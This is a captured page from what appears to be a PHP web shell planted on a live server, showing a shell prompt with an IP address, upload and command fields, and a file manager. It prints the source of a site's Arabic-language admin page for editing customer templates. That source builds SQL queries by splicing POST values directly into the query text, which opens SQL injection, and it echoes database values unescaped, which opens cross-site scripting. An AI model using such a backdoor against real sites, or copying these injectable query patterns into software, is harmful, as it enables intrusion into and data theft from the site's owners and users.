[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.217.165: ~ $
<?php 
ob_start();
session_start();
?>
<?php
if(isset($_SESSION['user_liwwan_admin_2023930']) AND ($_SESSION['type'] == "manager_session_alliwan") ){
    
    $pageTitle  = 'Edit template';
    include 'init.php';
?>
<?php
if (($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['do_edit_tem'])) { ?>

<?php 
    $ctemid   = $_POST['temid'];
    $temcode = $_POST['cuscode'];

    $tem_tittle   = filter_var($_POST['tem_tittle'], FILTER_SANITIZE_STRING);
    $tem_cusname  = filter_var($_POST['tem_cusname'], FILTER_SANITIZE_STRING);
    $tem_desc     = filter_var($_POST['tem_desc'], FILTER_SANITIZE_STRING);

    if(isset($_POST['pr1_code']) && (strlen($_POST['pr1_code']) > 2) ){
    $cusp1                      = filter_var($_POST['pr1_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp1 = 0;}
    
    if(isset($_POST['pr2_code'])  && (strlen($_POST['pr2_code']) > 2) ){
    $cusp2                      = filter_var($_POST['pr2_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp2 = 0;}

    if(isset($_POST['pr3_code']) && (strlen($_POST['pr3_code']) > 2) ){
    $cusp3                      = filter_var($_POST['pr3_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp3 = 0;}

    if(isset($_POST['pr4_code']) && (strlen($_POST['pr4_code']) > 2) ){
    $cusp4                      = filter_var($_POST['pr4_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp4 = 0;}

    if(isset($_POST['pr5_code']) && (strlen($_POST['pr5_code']) > 2) ){
    $cusp5                      = filter_var($_POST['pr5_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp5 = 0;}

    if(isset($_POST['pr6_code']) && (strlen($_POST['pr6_code']) > 2) ){
    $cusp6                      = filter_var($_POST['pr6_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp6 = 0;}

    if(isset($_POST['pr7_code']) && (strlen($_POST['pr7_code']) > 2) ){
    $cusp7                      = filter_var($_POST['pr7_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp7 = 0;}

    if(isset($_POST['pr8_code']) && (strlen($_POST['pr8_code']) > 2) ){
    $cusp8                      = filter_var($_POST['pr8_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp8 = 0;}

    if(isset($_POST['pr9_code']) && (strlen($_POST['pr9_code']) > 2) ){
    $cusp9                      = filter_var($_POST['pr9_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp9 = 0;}

    if(isset($_POST['pr10_code']) && (strlen($_POST['pr10_code']) > 2) ){
    $cusp10                      = filter_var($_POST['pr10_code'], FILTER_SANITIZE_NUMBER_INT);
    }else{$cusp10 = 0;}

    $formErrors = array();
  
                if (empty($tem_tittle)){

                    $formErrors[] = ' project tittle Cant Be <strong>Empty</strong> ';
                }
                //loop into errors array and echo it
                foreach($formErrors as $error){

                    echo '<div class= "alert alert-danger text-center">' .  $error .  '</div>' ;
                }
                if (empty($formErrors)){


$stmt = $conn->prepare("UPDATE 
                             custompage 
                             SET
                             cus_name  = ?,
                             cus_tittle  = ?,
                             cus_desc  = ?,
                             cus_p1  = ?,
                             cus_p2  = ?,
                             cus_p3  = ?,
                             cus_p4  = ?,
                             cus_p5  = ?,
                             cus_p6  = ?,
                             cus_p7  = ?,
                             cus_p8  = ?,
                             cus_p9  = ?,
                             cus_p10  = ?
                             WHERE
                             cusid  = $ctemid
                             AND
                             cus_tem_code = $temcode ");
$stmt->execute(array($tem_tittle,$tem_cusname,$tem_desc,$cusp1,$cusp2,$cusp3,$cusp4,$cusp5,$cusp6,$cusp7,$cusp8,$cusp9,$cusp10));     
    
    header('location:custommer_templates.php');
    exit();
}
}
?>
<?php 
if (isset($_POST['edit_tem'])){

$cusid   = $_POST["cus_code"];

    // select All Data Depend on this ID
$stmt2 = $conn->prepare("SELECT * FROM custompage WHERE cus_tem_code  = $cusid");
// execute Query
$stmt2->execute();
// fetch the data
$info = $stmt2->fetch();
?>
<section class="add_my">
    <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST" class="form mt-5">
        <p class="text-center h3 fw-bold text-center m-auto add_my_p"> تعديل نموذج عميل </p>
        <div class="row">
            <div class="input-group">
                <div class="col-lg-6 col-sm-12">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="tem_tittle" class="text-muted fw-bold text-center"><span class="text-danger fs-5">◈</span> عنوان النموذج </label>
                        <input type="text" class="w-100 text-muted fw-bold py-2 text-center" name="tem_tittle" value="<?php echo $info['cus_tittle'] ?>" required="required" id="tem_tittle"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-6 col-sm-12">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="tem_cusname" class="text-muted fw-bold text-center"><span class="text-danger fs-5">◈</span> إسم العميل </label>
                        <input type="text" class="w-100 text-muted fw-bold py-2 text-center" name="tem_cusname" value="<?php echo $info['cus_name'] ?>" required="required" id="tem_cusname"/>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-lg-12 col-sm-12">
              <div class="tex-area mt-2">
                <div class="mb-3">
                  <label for="tem_desc" class="form-label mt-2 text-muted fw-bold text-center" ><span class="text-danger fs-5">◈</span> شرح النموذج </label>
                  <textarea class="form-control text-muted fw-bold text-center" id="tem_desc" rows="4" name="tem_desc" value="<?php echo $info['cus_desc'] ?>" required="required"><?php echo $info['cus_desc'] ?></textarea>
                </div>
              </div>
            </div>
            <hr class="mt-5">
            <div class="input-group">
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr1_code" class="text-muted fw-bold text-center"> كود مشروع1 </label>
                        <input type="text" value="<?php echo $info['cus_p1'] ?>" class="w-100 text-muted fw-bold py-2" name="pr1_code" id="pr1_code"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr2_code" class="text-muted fw-bold text-center"> كود مشروع2 </label>
                        <input type="text" value="<?php echo $info['cus_p2'] ?>" class="w-100 text-muted fw-bold py-2" name="pr2_code"  id="pr2_code"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr3_code" class="text-muted fw-bold text-center"> كود مشروع3 </label>
                        <input type="text" value="<?php echo $info['cus_p3'] ?>" class="w-100 text-muted fw-bold py-2" name="pr3_code" id="pr3_code"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr4_code" class="text-muted fw-bold text-center"> كود مشروع4 </label>
                        <input type="text" value="<?php echo $info['cus_p4'] ?>" class="w-100 text-muted fw-bold py-2" name="pr4_code" id="pr4_code"/>
                        </div>
                    </div>
                </div><div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr5_code" class="text-muted fw-bold text-center"> كود مشروع5 </label>
                        <input type="text" value="<?php echo $info['cus_p5'] ?>" class="w-100 text-muted fw-bold py-2" name="pr5_code" id="pr5_code"/>
                        </div>
                    </div>
                </div><div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr6_code" class="text-muted fw-bold text-center"> كود مشروع6 </label>
                        <input type="text" value="<?php echo $info['cus_p6'] ?>" class="w-100 text-muted fw-bold py-2" name="pr6_code" id="pr6_code"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr7_code" class="text-muted fw-bold text-center"> كود مشروع7 </label>
                        <input type="text" value="<?php echo $info['cus_p7'] ?>" class="w-100 text-muted fw-bold py-2" name="pr7_code" id="pr7_code"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr8_code" class="text-muted fw-bold text-center"> كود مشروع8 </label>
                        <input type="text" value="<?php echo $info['cus_p8'] ?>" class="w-100 text-muted fw-bold py-2" name="pr8_code" id="pr8_code"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr9_code" class="text-muted fw-bold text-center"> كود مشروع9 </label>
                        <input type="text" value="<?php echo $info['cus_p9'] ?>" class="w-100 text-muted fw-bold py-2" name="pr9_code" id="pr9_code"/>
                        </div>
                    </div>
                </div>
                <input type="hidden" name="temid" value="<?php echo $info['cusid']; ?>">
                <input type="hidden" name="cuscode" value="<?php echo $info['cus_tem_code']; ?>">
                <div class="col-lg-3 col-sm-6">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="pr10_code" class="text-muted fw-bold text-center"> كود مشروع10 </label>
                        <input type="text" value="<?php echo $info['cus_p10'] ?>" class="w-100 text-muted fw-bold py-2" name="pr10_code" id="pr10_code"/>
                        </div>
                    </div>
                </div>
            </div>
            <hr>
            <div class="col-8"></div>
            <div class="col-4">
            <button class="btn btn-primary px-4" name="do_edit_tem" type="submit"> تأكيد </button>
            </div>
        </div>
    </form>
</section>
<?php }?>
<?php
ob_end_flush();
include 'assets/includes/template/footer.php';
?>
<?php
}else{
header('Location:index.php');
exit;
}
?>

Filemanager

Name Type Size Permission Actions
assets Folder 0755
images Folder 0755
ac_citycalc.php File 15.27 KB 0644
ac_edit_admin.php File 2.67 KB 0644
ac_edit_admininfo.php File 4.36 KB 0644
ac_edit_imgs.php File 34.27 KB 0644
ac_edit_pr.php File 10.72 KB 0644
ac_projects.php File 5.24 KB 0644
ac_workshops.php File 18.62 KB 0644
add_admin.php File 4.32 KB 0644
add_customer_template.php File 11.1 KB 0644
add_project.php File 17.22 KB 0644
add_workshop.php File 5.15 KB 0644
admins.php File 4.81 KB 0644
citycalc.php File 5.01 KB 0644
cons_orders.php File 4.51 KB 0644
custommer_templates.php File 4.59 KB 0644
dashboard.php File 4.11 KB 0644
edit_cus_template.php File 11.74 KB 0644
editadminpassword.php File 5.17 KB 0644
error_log File 309.84 KB 0644
imgs.php File 18.17 KB 0644
index.php File 3.19 KB 0644
init.php File 183 B 0644
logout.php File 186 B 0644
newsletter.php File 3.13 KB 0644
projects.php File 13.89 KB 0644
projects_card.php File 13.29 KB 0644
show.php File 8.81 KB 0644
workshop_details.php File 12.08 KB 0644
workshops.php File 4.63 KB 0644